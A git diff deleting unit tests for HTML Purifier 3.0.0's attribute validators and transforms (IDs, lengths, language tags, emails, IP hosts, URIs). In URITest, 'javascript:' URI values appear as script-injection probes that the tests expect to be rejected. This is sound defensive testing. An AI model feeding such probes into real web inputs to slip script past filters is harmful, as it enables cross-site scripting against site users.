a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/HTML/FrameTarget.php'; - -class HTMLPurifier_AttrDef_HTML_FrameTargetTest extends HTMLPurifier_AttrDefHarness -{ - - function setup() { - parent::setup(); - $this->def = new HTMLPurifier_AttrDef_HTML_FrameTarget(); - } - - function testNoneAllowed() { - $this->assertDef('', false); - $this->assertDef('foo', false); - $this->assertDef('_blank', false); - $this->assertDef('baz', false); - } - - function test() { - $this->config->set('Attr', 'AllowedFrameTargets', 'foo,_blank'); - $this->assertDef('', false); - $this->assertDef('foo'); - $this->assertDef('_blank'); - $this->assertDef('baz', false); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/IDTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/IDTest.php deleted file mode 100644 index dda0db4..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/IDTest.php +++ /dev/null @@ -1,111 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/HTML/ID.php'; -require_once 'HTMLPurifier/IDAccumulator.php'; - -class HTMLPurifier_AttrDef_HTML_IDTest extends HTMLPurifier_AttrDefHarness -{ - - function setUp() { - parent::setUp(); - - $id_accumulator = new HTMLPurifier_IDAccumulator(); - $this->context->register('IDAccumulator', $id_accumulator); - $this->config->set('Attr', 'EnableID', true); - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - } - - function test() { - - // valid ID names - $this->assertDef('alpha'); - $this->assertDef('al_ha'); - $this->assertDef('a0-:.'); - $this->assertDef('a'); - - // invalid ID names - $this->assertDef('<asa', false); - $this->assertDef('0123', false); - $this->assertDef('.asa', false); - - // test duplicate detection - $this->assertDef('once'); - $this->assertDef('once', false); - - // valid once whitespace stripped, but needs to be amended - $this->assertDef(' whee ', 'whee'); - - } - - function testPrefix() { - - $this->config->set('Attr', 'IDPrefix', 'user_'); - - $this->assertDef('alpha', 'user_alpha'); - $this->assertDef('<asa', false); - $this->assertDef('once', 'user_once'); - $this->assertDef('once', false); - - // if already prefixed, leave alone - $this->assertDef('user_alas'); - $this->assertDef('user_user_alas'); // how to bypass - - } - - function testTwoPrefixes() { - - $this->config->set('Attr', 'IDPrefix', 'user_'); - $this->config->set('Attr', 'IDPrefixLocal', 'story95_'); - - $this->assertDef('alpha', 'user_story95_alpha'); - $this->assertDef('<asa', false); - $this->assertDef('once', 'user_story95_once'); - $this->assertDef('once', false); - - $this->assertDef('user_story95_alas'); - $this->assertDef('user_alas', 'user_story95_user_alas'); // ! - } - - function testLocalPrefixWithoutMainPrefix() { - // no effect when IDPrefix isn't set - $this->config->set('Attr', 'IDPrefix', ''); - $this->config->set('Attr', 'IDPrefixLocal', 'story95_'); - $this->expectError('%Attr.IDPrefixLocal cannot be used unless '. - '%Attr.IDPrefix is set'); - $this->assertDef('amherst'); - - } - - // reference functionality is disabled for now - function disabled_testIDReference() { - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); - $this->assertDef('good_id'); // duplicates okay - $this->assertDef('<b>', false); - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(); - - $this->assertDef('good_id'); - $this->assertDef('good_id', false); // duplicate now not okay - - $this->def = new HTMLPurifier_AttrDef_HTML_ID(true); - - $this->assertDef('good_id'); // reference still okay - - } - - function testRegexp() { - - $this->config->set('Attr', 'IDBlacklistRegexp', '/^g_/'); - - $this->assertDef('good_id'); - $this->assertDef('g_bad_id', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php deleted file mode 100644 index 8fba047..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/HTML/PixelsTest.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Length.php'; - -class HTMLPurifier_AttrDef_HTML_LengthTest extends HTMLPurifier_AttrDef_HTML_PixelsTest -{ - - function setup() { - $this->def = new HTMLPurifier_AttrDef_HTML_Length(); - } - - function test() { - - // pixel check - parent::test(); - - // percent check - $this->assertDef('25%'); - - // Firefox maintains percent, so will we - $this->assertDef('0%'); - - // 0% <= percent <= 100% - $this->assertDef('-15%', '0%'); - $this->assertDef('120%', '100%'); - - // fractional percents, apparently, aren't allowed - $this->assertDef('56.5%', '56%'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php deleted file mode 100644 index a6643f7..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/HTML/LinkTypes.php'; - -class HTMLPurifier_AttrDef_HTML_LinkTypesTest extends HTMLPurifier_AttrDefHarness -{ - - function testNull() { - - $this->def = new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'); - $this->config->set('Attr', 'AllowedRel', array('nofollow', 'foo')); - - $this->assertDef('', false); - $this->assertDef('nofollow', true); - $this->assertDef('nofollow foo', true); - $this->assertDef('nofollow bar', 'nofollow'); - $this->assertDef('bar', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php deleted file mode 100644 index 7a305c3..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/HTML/LengthTest.php'; -require_once 'HTMLPurifier/AttrDef/HTML/MultiLength.php'; - -class HTMLPurifier_AttrDef_HTML_MultiLengthTest extends HTMLPurifier_AttrDef_HTML_LengthTest -{ - - function setup() { - $this->def = new HTMLPurifier_AttrDef_HTML_MultiLength(); - } - - function test() { - - // length check - parent::test(); - - $this->assertDef('*'); - $this->assertDef('1*', '*'); - $this->assertDef('56*'); - - $this->assertDef('**', false); // plain old bad - - $this->assertDef('5.4*', '5*'); // no decimals - $this->assertDef('-3*', false); // no negatives - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php deleted file mode 100644 index 3d21806..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Nmtokens.php'; - -class HTMLPurifier_AttrDef_HTML_NmtokensTest extends HTMLPurifier_AttrDefHarness -{ - - function testDefault() { - - $this->def = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - - $this->assertDef('valid'); - $this->assertDef('a0-_'); - $this->assertDef('-valid'); - $this->assertDef('_valid'); - $this->assertDef('double valid'); - - $this->assertDef('0invalid', false); - $this->assertDef('-0', false); - - // test conditional replacement - $this->assertDef('validassoc 0invalid', 'validassoc'); - - // test whitespace leniency - $this->assertDef(" double\nvalid\r", 'double valid'); - - // test case sensitivity - $this->assertDef('VALID'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php deleted file mode 100644 index 6fa899b..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/HTML/Pixels.php'; - -class HTMLPurifier_AttrDef_HTML_PixelsTest extends HTMLPurifier_AttrDefHarness -{ - - function setup() { - $this->def = new HTMLPurifier_AttrDef_HTML_Pixels(); - } - - function test() { - - $this->assertDef('1'); - $this->assertDef('0'); - - $this->assertDef('2px', '2'); // rm px suffix - - $this->assertDef('dfs', false); // totally invalid value - - // conceivably we could repair this value, but we won't for now - $this->assertDef('9in', false); - - // test trim - $this->assertDef(' 45 ', '45'); - - // no negatives - $this->assertDef('-2', '0'); - - // remove empty - $this->assertDef('', false); - - // round down - $this->assertDef('4.9', '4'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/IntegerTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/IntegerTest.php deleted file mode 100644 index 43714d8..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/IntegerTest.php +++ /dev/null @@ -1,63 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/Integer.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_IntegerTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_Integer(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('-1'); - $this->assertDef('-10'); - $this->assertDef('14'); - $this->assertDef('+24', '24'); - $this->assertDef(' 14 ', '14'); - $this->assertDef('-0', '0'); - - $this->assertDef('-1.4', false); - $this->assertDef('3.4', false); - $this->assertDef('asdf', false); // must not return zero - $this->assertDef('2in', false); // must not return zero - - } - - function assertRange($negative, $zero, $positive) { - $this->assertDef('-100', $negative); - $this->assertDef('-1', $negative); - $this->assertDef('0', $zero); - $this->assertDef('1', $positive); - $this->assertDef('42', $positive); - } - - function testRange() { - - $this->def = new HTMLPurifier_AttrDef_Integer(false); - $this->assertRange(false, true, true); // non-negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false); - $this->assertRange(false, false, true); // positive - - - // fringe cases - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false); - $this->assertRange(false, false, false); // allow none - - $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false); - $this->assertRange(true, false, false); // negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false); - $this->assertRange(false, true, false); // zero - - $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false); - $this->assertRange(true, true, false); // non-positive - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/LangTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/LangTest.php deleted file mode 100644 index cafa5db..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/LangTest.php +++ /dev/null @@ -1,87 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/Lang.php'; - -class HTMLPurifier_AttrDef_LangTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_Lang(); - - // basic good uses - $this->assertDef('en'); - $this->assertDef('en-us'); - - $this->assertDef(' en ', 'en'); // trim - $this->assertDef('EN', 'en'); // case insensitivity - - // (thanks Eugen Pankratz for noticing the typos!) - $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci - - $this->assertDef('fr en', false); // multiple languages - $this->assertDef('%', false); // bad character - - // test overlong language according to syntax - $this->assertDef('thisistoolongsoitgetscut', false); - - // primary subtag rules - // I'm somewhat hesitant to allow x and i as primary language codes, - // because they usually are never used in real life. However, - // theoretically speaking, having them alone is permissable, so - // I'll be lenient. No XML parser is going to complain anyway. - $this->assertDef('x'); - $this->assertDef('i'); - // real world use-cases - $this->assertDef('x-klingon'); - $this->assertDef('i-mingo'); - // because the RFC only defines two and three letter primary codes, - // anything with a length of four or greater is invalid, despite - // the syntax stipulation of 1 to 8 characters. Because the RFC - // specifically states that this reservation is in order to allow - // for future versions to expand, the adoption of a new RFC will - // require these test cases to be rewritten, even if backwards- - // compatibility is largely retained (i.e. this is not forwards - // compatible) - $this->assertDef('four', false); - // for similar reasons, disallow any other one character language - $this->assertDef('f', false); - - // second subtag rules - // one letter subtags prohibited until revision. This is, however, - // less volatile than the restrictions on the primary subtags. - // Also note that this test-case tests fix-behavior: chop - // off subtags until you get a valid language code. - $this->assertDef('en-a', 'en'); - // however, x is a reserved single-letter subtag that is allowed - $this->assertDef('en-x', 'en-x'); - // 2-8 chars are permitted, but have special meaning that cannot - // be checked without maintaining country code lookup tables (for - // two characters) or special registration tables (for all above). - $this->assertDef('en-uk', true); - - // further subtag rules: only syntactic constraints - $this->assertDef('en-us-edison'); - $this->assertDef('en-us-toolonghaha', 'en-us'); - $this->assertDef('en-us-a-silly-long-one'); - - // rfc 3066 stipulates that if a three letter and a two letter code - // are available, the two letter one MUST be used. Without a language - // code lookup table, we cannot implement this functionality. - - // although the HTML protocol, technically speaking, allows you to - // omit language tags, this implicitly means that the parent element's - // language is the one applicable, which, in some cases, is incorrect. - // Thus, we allow und, only slightly defying the RFC's SHOULD NOT - // designation. - $this->assertDef('und'); - - // because attributes only allow one language, mul is allowed, complying - // with the RFC's SHOULD NOT designation. - $this->assertDef('mul'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/TextTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/TextTest.php deleted file mode 100644 index 4977edc..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/TextTest.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/Text.php'; - -class HTMLPurifier_AttrDef_TextTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_Text(); - - $this->assertDef('This is spiffy text!'); - $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parsecheck.'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php deleted file mode 100644 index 6b8cae3..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php +++ /dev/null @@ -1,15 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php'; -require_once 'HTMLPurifier/AttrDef/URI/EmailHarness.php'; - -class HTMLPurifier_AttrDef_URI_Email_SimpleCheckTest - extends HTMLPurifier_AttrDef_URI_EmailHarness -{ - - function setUp() { - $this->def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck(); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php deleted file mode 100644 index 3c14e4e..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php +++ /dev/null @@ -1,33 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/URI/Email.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_URI_EmailHarness extends HTMLPurifier_AttrDefHarness -{ - - /** - * Tests common email strings that are obviously pass/fail - */ - function testCore() { - $this->assertDef('bob@example.com'); - $this->assertDef(' bob@example.com ', 'bob@example.com'); - $this->assertDef('bob.thebuilder@example.net'); - $this->assertDef('Bob_the_Builder-the-2nd@example.org'); - $this->assertDef('Bob%20the%20Builder@white-space.test'); - - // extended format, with real name - //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E'); - //$this->assertDef('Bob Builder <bobby.bob.bob@it.is.example.com>'); - - // time to fail - $this->assertDef('bob', false); - $this->assertDef('bob@home@work', false); - $this->assertDef('@example.com', false); - $this->assertDef('bob@', false); - $this->assertDef('', false); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/HostTest.php deleted file mode 100644 index 33424ec..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/HostTest.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/URI/Host.php'; - -// takes a URI formatted host and validates it - - -class HTMLPurifier_AttrDef_URI_HostTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_URI_Host(); - - $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6 - $this->assertDef('124.15.6.89'); // IPv4 - $this->assertDef('www.google.com'); // reg-name - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php deleted file mode 100644 index aa05159..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/URI/IPv4.php'; - -// IPv4 test case is spliced from Feyd's IPv6 implementation -// we ought to disallow non-routable addresses - -class HTMLPurifier_AttrDef_URI_IPv4Test extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_URI_IPv4(); - - $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable - $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable - $this->assertDef('255.255.255.255'); // standard IPv4 - - $this->assertDef('300.0.0.0', false); // standard IPv4, out of range - $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed - - $this->assertDef('', false); // nothing - - } -} \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php deleted file mode 100644 index 33b56ad..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php +++ /dev/null @@ -1,45 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/URI/IPv6.php'; - -// test case is from Feyd's IPv6 implementation -// we ought to disallow non-routable addresses - -class HTMLPurifier_AttrDef_URI_IPv6Test extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_URI_IPv6(); - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full - $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full - $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full - $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full - $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed - $this->assertDef('FF01::101'); // multicast, compressed - - $this->assertDef('::1'); // loopback, compressed, non-routable - $this->assertDef('::'); // unspecified, compressed, non-routable - $this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated - $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full - $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated - $this->assertDef('::FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, compressed - $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix - $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix - $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2 - $this->assertDef('::/128'); // compressed, unspecified address type, non-routable - $this->assertDef('::1/128'); // compressed, loopback address type, non-routable - $this->assertDef('FF00::/8'); // compressed, multicast address type - $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable - $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full - $this->assertDef('FF01::101::2', false); //multicast, compressed - $this->assertDef('', false); // nothing - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URITest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URITest.php deleted file mode 100644 index 58b7724..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/URITest.php +++ /dev/null @@ -1,98 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDefHarness.php'; -require_once 'HTMLPurifier/AttrDef/URI.php'; -require_once 'HTMLPurifier/URIParser.php'; - -/** - * @todo Aim for complete code coverage with mocks - */ -class HTMLPurifier_AttrDef_URITest extends HTMLPurifier_AttrDefHarness -{ - - function setUp() { - $this->def = new HTMLPurifier_AttrDef_URI(); - parent::setUp(); - } - - function testIntegration() { - $this->assertDef('http://www.google.com/'); - $this->assertDef('http:', ''); - $this->assertDef('http:/foo', '/foo'); - $this->assertDef('javascript:bad_stuff();', false); - $this->assertDef('ftp://www.example.com/'); - $this->assertDef('news:rec.alt'); - $this->assertDef('nntp://news.example.com/324234'); - $this->assertDef('mailto:bob@example.com'); - } - - function testIntegrationWithPercentEncoder() { - $this->assertDef( - 'http://www.example.com/%56%fc%GJ%5%FC', - 'http://www.example.com/V%FC%25GJ%255%FC' - ); - } - - function testEmbeds() { - $this->def = new HTMLPurifier_AttrDef_URI(true); - $this->assertDef('http://sub.example.com/alas?foo=asd'); - $this->assertDef('mailto:foo@example.com', false); - } - - function testConfigMunge() { - $this->config->set('URI', 'Munge', 'http://www.google.com/url?q=%s'); - $this->assertDef( - 'http://www.example.com/', - 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F' - ); - $this->assertDef('index.html'); - $this->assertDef('javascript:foobar();', false); - } - - function testDefaultSchemeRemovedInBlank() { - $this->assertDef('http:', ''); - } - - function testDefaultSchemeRemovedInRelativeURI() { - $this->assertDef('http:/foo/bar', '/foo/bar'); - } - - function testDefaultSchemeNotRemovedInAbsoluteURI() { - $this->assertDef('http://example.com/foo/bar'); - } - - function testAltSchemeNotRemoved() { - $this->assertDef('mailto:this-looks-like-a-path@example.com'); - } - - function testURIDefinitionValidation() { - $parser = new HTMLPurifier_URIParser(); - $uri = $parser->parse('http://example.com'); - $this->config->set('URI', 'DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation'); - $uri_def =& $this->config->getDefinition('URI'); - // overload with mock - generate_mock_once('HTMLPurifier_URIDefinition'); - $uri_def = new HTMLPurifier_URIDefinitionMock(); - $uri_def->expectOnce('filter', array($uri, '*', '*')); - $uri_def->setReturnValue('filter', true, array($uri, '*', '*')); - $uri_def->setup = true; - $this->assertDef('http://example.com'); - } - - /* - function test_validate_configWhitelist() { - - $this->config->set('URI', 'HostPolicy', 'DenyAll'); - $this->config->set('URI', 'HostWhitelist', array(null, 'google.com')); - - $this->assertDef('http://example.com/fo/google.com', false); - $this->assertDef('server.txt'); - $this->assertDef('ftp://www.google.com/?t=a'); - $this->assertDef('http://google.com.tricky.spamsite.net', false); - - } - */ - -} - - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefHarness.php deleted file mode 100644 index c49b049..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefHarness.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -class HTMLPurifier_AttrDefHarness extends HTMLPurifier_Harness -{ - - protected $def; - protected $context, $config; - - function setUp() { - $this->config = HTMLPurifier_Config::createDefault(); - $this->context = new HTMLPurifier_Context(); - } - - // cannot be used for accumulator - function assertDef($string, $expect = true) { - // $expect can be a string or bool - $result = $this->def->validate($string, $this->config, $this->context); - if ($expect === true) { - $this->assertIdentical($string, $result); - } else { - $this->assertIdentical($expect, $result); - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefTest.php deleted file mode 100644 index 33d1e0b..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDefTest.php +++ /dev/null @@ -1,34 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef.php'; - -Mock::generatePartial( - 'HTMLPurifier_AttrDef', - 'HTMLPurifier_AttrDefTestable', - array('validate')); - -class HTMLPurifier_AttrDefTest extends HTMLPurifier_Harness -{ - - function test_parseCDATA() { - - $def = new HTMLPurifier_AttrDefTestable(); - - $this->assertIdentical('', $def->parseCDATA('')); - $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t")); - $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t")); - $this->assertIdentical('ignorelinefeeds', $def->parseCDATA("ignore\nline\nfeeds")); - $this->assertIdentical('translate to space', $def->parseCDATA("translate\rto\tspace")); - - } - - function test_make() { - - $def = new HTMLPurifier_AttrDefTestable(); - $def2 = $def->make(''); - $this->assertIdentical($def, $def2); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BdoDirTest.php deleted file mode 100644 index 631e019..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BdoDirTest.php +++ /dev/null @@ -1,32 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/BdoDir.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - -class HTMLPurifier_AttrTransform_BdoDirTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_BdoDir(); - } - - function testAddDefaultDir() { - $this->assertResult( array(), array('dir' => 'ltr') ); - } - - function testPreserveExistingDir() { - $this->assertResult( array('dir' => 'rtl') ); - } - - function testAlternateDefault() { - $this->config->set('Attr', 'DefaultTextDir', 'rtl'); - $this->assertResult( - array(), - array('dir' => 'rtl') - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BgColorTest.php deleted file mode 100644 index ac46a31..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BgColorTest.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/BgColor.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - -// we currently rely on the CSS validator to fix any problems. -// This means that this transform, strictly speaking, supports -// a superset of the functionality. - -class HTMLPurifier_AttrTransform_BgColorTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_BgColor(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('bgcolor' => '#000000'), - array('style' => 'background-color:#000000;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('bgcolor' => '#000000', 'style' => 'font-weight:bold'), - array('style' => 'background-color:#000000;font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - // this may change when we natively support the datatype and - // validate its contents before forwarding it on - $this->assertResult( - array('bgcolor' => '#F00'), - array('style' => 'background-color:#F00;') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php deleted file mode 100644 index 6c6ce40..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrTransform/BoolToCSS.php'; -require_once 'HTMLPurifier/AttrTransformHarness.php'; - -class HTMLPurifier_AttrTransform_BoolToCSSTest extends HTMLPurifier_AttrTransformHarness -{ - - function setUp() { - parent::setUp(); - $this->obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('foo' => 'foo'), - array('style' => 'bar:3in;') - ); - } - - function testIgnoreValueOfBooleanAttribute() { - $this->assertResult( - array('foo' => 'no'), - array('style' => 'bar:3in;') - ); - } - - function testPrependCSS() { - $this->assertResult( - array('foo' => 'foo', 'style' => 'background-color:#F00;'), - array('style' => 'bar:3in;background-color:#F00;') - ); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrTransform/BorderTest.php 